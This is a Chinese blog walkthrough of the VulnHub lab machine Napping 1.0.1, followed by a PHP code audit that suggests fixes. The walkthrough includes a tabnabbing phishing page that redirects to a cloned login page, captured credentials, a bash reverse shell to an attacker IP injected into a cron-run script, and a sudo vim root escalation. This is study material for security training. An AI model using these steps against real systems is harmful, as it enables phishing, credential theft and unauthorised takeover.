每日一攻防NAPPING-1.0.1

简介

每日一攻防是由全球安全研究员 VulnHub 提供的日常实战综合环境。大余安全将按照顺序选择 VulnHub 提供的渗透测试靶场,为网络安全爱好者、渗透测试从业者和安全研究员提供每日综合性的攻击和防御挑战。该项目的目标是促进参与者的技能提升,使他们更好地理解实际攻击和防御场景。

每日一攻防特色:环境攻破: 以简单直白的方式攻破每日选择的渗透测试环境。 代码审计: 进行攻防分析,结合代码审计,深入挖掘漏洞和强化防御。

作者:大余

一首歌送给你们,一首歌一攻防一项目!好久不见送给大家!

好久不见,陈奕迅 - 认了吧

一、网络枚举

图片

1701777053_656f0e9d5a771066ac8e7.png!small?1701777054987

图片

发现IP地址:192.168.2.222

二、web系信息收集

图片

发现是个登录界面,还可以注册,先注册一个账户试试:

http://192.168.2.222/register.php

图片

1701777072_656f0eb015af5b0523e23.png!small?1701777072702

注册完成后登录进去:

图片

发现有个输入框,看样子是提交连接,随便写入一个地址试试:

提交之后再点击Here会跳转到你输入的连接:

图片

图片

查看源代码,发现站点上有特定URL链接功能会容易受到Tab Nabbing的攻击:

图片

三、漏洞攻击

使用Tab Nabbing攻击,先做个钓鱼界面,首先先复制登录界面:

wget 192.168.2.222/index.php

图片

构建我们的恶意html界面:dayu.html

<!DOCTYPE html><html><body>    <script>    	if(window.opener) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');    	if(window.opener  != window) window.opener.parent.location.replace('http://192.168.2.139:8000/index.html');    </script></body></html>

图片

1701777104_656f0ed0dd69b0fceb067.png!small?1701777105563

把自己复制的index.php和dayu.html页面放到/var/www/html下,并且开启python-http服务,开的80 端口,和dayu.html中的端口区分开:

图片

http://192.168.2.139/dayu.html

图片

点击提交即可,监听的8000端口返回了数据包:

图片

username=danielpassword=C@ughtm3napping123

得到了用户名和密码,我们可以通过ssh进行登录。

四、信息收集

ssh登录进行信息收集!可以看到daniel是管理员组的一部分,使用find我们可以查找组给可执行文件:

图片

查看一下query.py文件:

图片

根据site_status.txt文件,它似乎每2分钟执行一次!

五、提权

需要先跳转到adrian用户,所以继续在/dev/shm目录中创建一个反向shell bash脚本:

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/192.168.2.139/1234 0>&1'

图片

1701777138_656f0ef24f4045a299b54.png!small?1701777139161

需要更改一下query.py这个脚本来让他定时反弹shell:

import os
now = datetime.now()os.system('/usr/bin/bash /dev/shm/shell.sh')

图片

图片

过一会获得反弹shell!!

图片

1701777164_656f0f0c31a146bc781ce.png!small?1701777164963

(root) NOPASSWD: /usr/bin/vim

发现可以再没有在没有密码的情况下以root身份运行vim,那就直接写入Vim-shell:

sudo /usr/bin/vim -c ':!/bin/sh'

图片

成功获得root权限!

六、代码审计

图片

图片

这段PHP代码主要用于一个博客促销站点用,让用户提交博客链接。在审计时,我们主要关注以下几个方面:1、SQL注入

$input = $mysqli->real_escape_string($_POST['url']);$sql = "INSERT INTO links (link) VALUES ('$input')";

在这里,real_escape_string用于转义输入,可以防止直接的SQL注入。但是更推荐使用预处理语(Prepared Statements)来提高安全性。

2、XSS攻击

$message = "Thank you for your submission, you have entered: <a href='$input' target='_blank' >Here</a>";

$input没有进行HTML转义,可能导致存储型XSS攻击。可以使用htmlspecialchars函数对输出进行转义。

3、会话管理

if(!isset($_SESSION["loggedin"]) || $_SESSION["loggedin"] !== true){    header("location: index.php");    exit;}

会话管理看起来没问题,但具体的实现可能需要更详细的审查。确保在所有关键操作之前都有适当的身份验证和授权检查。

4、数据库连接

$mysqli = new mysqli("localhost", "adrian", "P@sswr0d456", "website");

数据库连接信息直接硬编码在代码中,这样做不是最佳方法。最好将这些信息存储在配置文件中,并确保配置文件的访问权限受到限制。

5、加入验证鉴于这是一个用户输入的博客链接,建议在接收和显示链接时进行一些验证:

1)URL格式验证

使用PHP的filter_var函数结合FILTER_VALIDATE_URL过滤器来验证URL的格式。这可以帮助排除一些格式不正确的输入。

$input = $_POST['url'];if (!filter_var($input, FILTER_VALIDATE_URL)) {    // 不是有效的URL    $message = "Invalid URL format!";}

2)白名单验证 创建一个允许的博客域名白名单,只接受这些域名的链接。可以避免接受恶意的或者不受信任的链接。

$allowed_domains = array("example.com", "blog.com");$input = $_POST['url'];
$parsed_url = parse_url($input);if ($parsed_url === false || !in_array($parsed_url['host'], $allowed_domains)) {    // 链接不在允许的域名列表中    $message = "Invalid or unauthorized domain!";}

这里使用parse_url函数提取链接的主机名。

3)安全的显示链接 当在页面上显示链接时,使用htmlspecialchars函数对链接进行HTML转义,以防止存储型XSS攻击。

echo "You have entered: <a href='" . htmlspecialchars($input, ENT_QUOTES, 'UTF-8') . "' target='_blank'>Here</a>";

这些验证步骤可以根据具体需求进行调整,确保用户输入的博客链接既符合预期的格式,提高安全性。

  • 4
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值